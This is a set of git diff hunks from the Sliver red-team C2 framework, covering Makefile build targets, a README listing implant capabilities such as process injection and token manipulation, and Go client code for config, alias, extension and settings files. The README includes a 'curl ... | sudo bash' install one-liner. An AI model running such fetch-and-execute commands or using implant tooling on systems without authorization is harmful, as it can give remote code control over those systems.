GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
|
||||
@@ -41,80 +55,68 @@ UNAME_P := $(shell uname -p)
|
||||
|
||||
# If the target is Windows from Linux/Darwin, check for mingw
|
||||
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
|
||||
ifneq (,$(findstring cgosqlite,$(TAGS)))
|
||||
ENV +=CGO_ENABLED=1
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
# Programs required for generating protobuf/grpc files
|
||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||
ifeq ($(MAKECMDGOALS), pb)
|
||||
K := $(foreach exec,$(PB_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
|
||||
endif
|
||||
|
||||
# *** Start Darwin ***
|
||||
# *** Darwin ***
|
||||
ifeq ($(UNAME_S),Darwin)
|
||||
SED_INPLACE := sed -i ''
|
||||
STATIC_TARGET := macos
|
||||
|
||||
endif
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
|
||||
endif
|
||||
# *** End Darwin ***
|
||||
|
||||
# *** Start Linux ***
|
||||
ifeq ($(UNAME_S),Linux)
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
|
||||
endif
|
||||
# *** End Linux ***
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
|
||||
@@ -123,8 +125,20 @@ pb:
|
||||
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
rm -rf ./server/assets/fs/darwin/amd64
|
||||
@@ -136,4 +150,4 @@ clean-all: clean
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server *.exe
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -15,19 +15,23 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* Staged and Stageless payloads
|
||||
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-anti-anti-forensics
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
|
||||
#### Linux One Liner
|
||||
|
||||
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
@@ -39,3 +43,4 @@ See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
+4
-2
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
|
||||
__Important:__ No code in this directory can import any code from `server/`.
|
||||
|
||||
* `assets/` - Static asset files and management code (e.g. client configs)
|
||||
* `command/` - Command implementations
|
||||
* `cli/` - Command line interface implementation
|
||||
* `command/` - Console command implementations
|
||||
* `constants/` - Various shared constant values
|
||||
* `core/` - Client state management
|
||||
* `help/` - Console help
|
||||
* `licenses/` - Open source licenses
|
||||
* `spin/` - Console spinner library
|
||||
* `tcpproxy/` - Local TCP proxy listener code
|
||||
* `transport/` - Wires the client to the server
|
||||
* `version/` - Version information
|
||||
* `main.go` - Entrypoint
|
||||
@@ -0,0 +1 @@
|
||||
fs/**
|
||||
@@ -0,0 +1,65 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
AliasesDirName = "aliases"
|
||||
)
|
||||
|
||||
// GetAliasesDir - Returns the path to the config dir
|
||||
func GetAliasesDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, AliasesDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledAliasManifests - Returns a list of installed alias manifests
|
||||
func GetInstalledAliasManifests() []string {
|
||||
aliasDir := GetAliasesDir()
|
||||
aliasDirContent, err := ioutil.ReadDir(aliasDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range aliasDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
)
|
||||
|
||||
var (
|
||||
DefaultArmoryPublicKey string
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
}
|
||||
)
|
||||
|
||||
type ArmoryConfig struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := ioutil.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
+45
-2
@@ -19,21 +19,28 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
func GetRootAppDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName)
|
||||
dir := filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -42,3 +49,39 @@ func GetRootAppDir() string {
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := filepath.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
}
|
||||
|
||||
// Setup - Extract or create local assets
|
||||
func Setup(force bool, echo bool) {
|
||||
appDir := GetRootAppDir()
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
@@ -40,6 +40,7 @@ type ClientConfig struct {
|
||||
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
|
||||
LHost string `json:"lhost"`
|
||||
LPort int `json:"lport"`
|
||||
Token string `json:"token"`
|
||||
CACertificate string `json:"ca_certificate"`
|
||||
PrivateKey string `json:"private_key"`
|
||||
Certificate string `json:"certificate"`
|
||||
@@ -48,7 +49,7 @@ type ClientConfig struct {
|
||||
// GetConfigDir - Returns the path to the config dir
|
||||
func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := path.Join(rootDir, ConfigDirName)
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -85,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
// ReadConfig - Load config into struct
|
||||
func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
confFile, err := os.Open(confFilePath)
|
||||
defer confFile.Close()
|
||||
if err != nil {
|
||||
log.Printf("Open failed %v", err)
|
||||
return nil, err
|
||||
}
|
||||
defer confFile.Close()
|
||||
data, err := ioutil.ReadAll(confFile)
|
||||
if err != nil {
|
||||
log.Printf("Read failed %v", err)
|
||||
@@ -107,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
// SaveConfig - Save a config to disk
|
||||
func SaveConfig(config *ClientConfig) error {
|
||||
if config.LHost == "" || config.Operator == "" {
|
||||
return errors.New("Empty config")
|
||||
return errors.New("empty config")
|
||||
}
|
||||
configDir := GetConfigDir()
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
// ExtensionsDirName - Directory storing the client side extensions
|
||||
ExtensionsDirName = "extensions"
|
||||
)
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
|
||||
func GetInstalledExtensionManifests() []string {
|
||||
extDir := GetExtensionsDir()
|
||||
extDirContent, err := ioutil.ReadDir(extDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range extDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
settingsFileName = "tui-settings.json"
|
||||
)
|
||||
|
||||
// ClientSettings - Client JSON config
|
||||
type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
func LoadSettings() (*ClientSettings, error) {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
settings := defaultSettings()
|
||||
err = json.Unmarshal(data, settings)
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
return settings, nil
|
||||
}
|
||||
|
||||
func defaultSettings() *ClientSettings {
|
||||
return &ClientSettings{
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
}
|
||||
}
|
||||
|
||||
// SaveSettings - Save the current settings to disk
|
||||
func SaveSettings(settings *ClientSettings) error {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
if settings == nil {
|
||||
settings = defaultSettings()
|
||||
}
|
||||
data, err := json.MarshalIndent(settings, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
|
||||
return err
|
||||
}
|
||||
+3
-3
@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
|
||||
func StartClientConsole() error {
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
@@ -93,11 +93,11 @@ func StartClientConsole() error {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %v", err)
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
|
||||
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
|
||||
}
|
||||
|
||||
// Execute - Execute root command
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
Alias
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
|
||||
|
||||
|
||||
### Format
|
||||
|
||||
* `alias-dir/`
|
||||
* * `manifest.json` -
|
||||
@@ -0,0 +1,126 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Tool Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, aliasPkg := range loadedAliases {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
aliasPkg.Manifest.Name,
|
||||
aliasPkg.Manifest.CommandName,
|
||||
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
|
||||
aliasPkg.Manifest.Version,
|
||||
installed,
|
||||
aliasPkg.Manifest.IsAssembly,
|
||||
aliasPkg.Manifest.IsReflective,
|
||||
aliasPkg.Manifest.OriginalAuthor,
|
||||
aliasPkg.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func aliasPlatforms(aliasPkg *AliasManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range aliasPkg.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
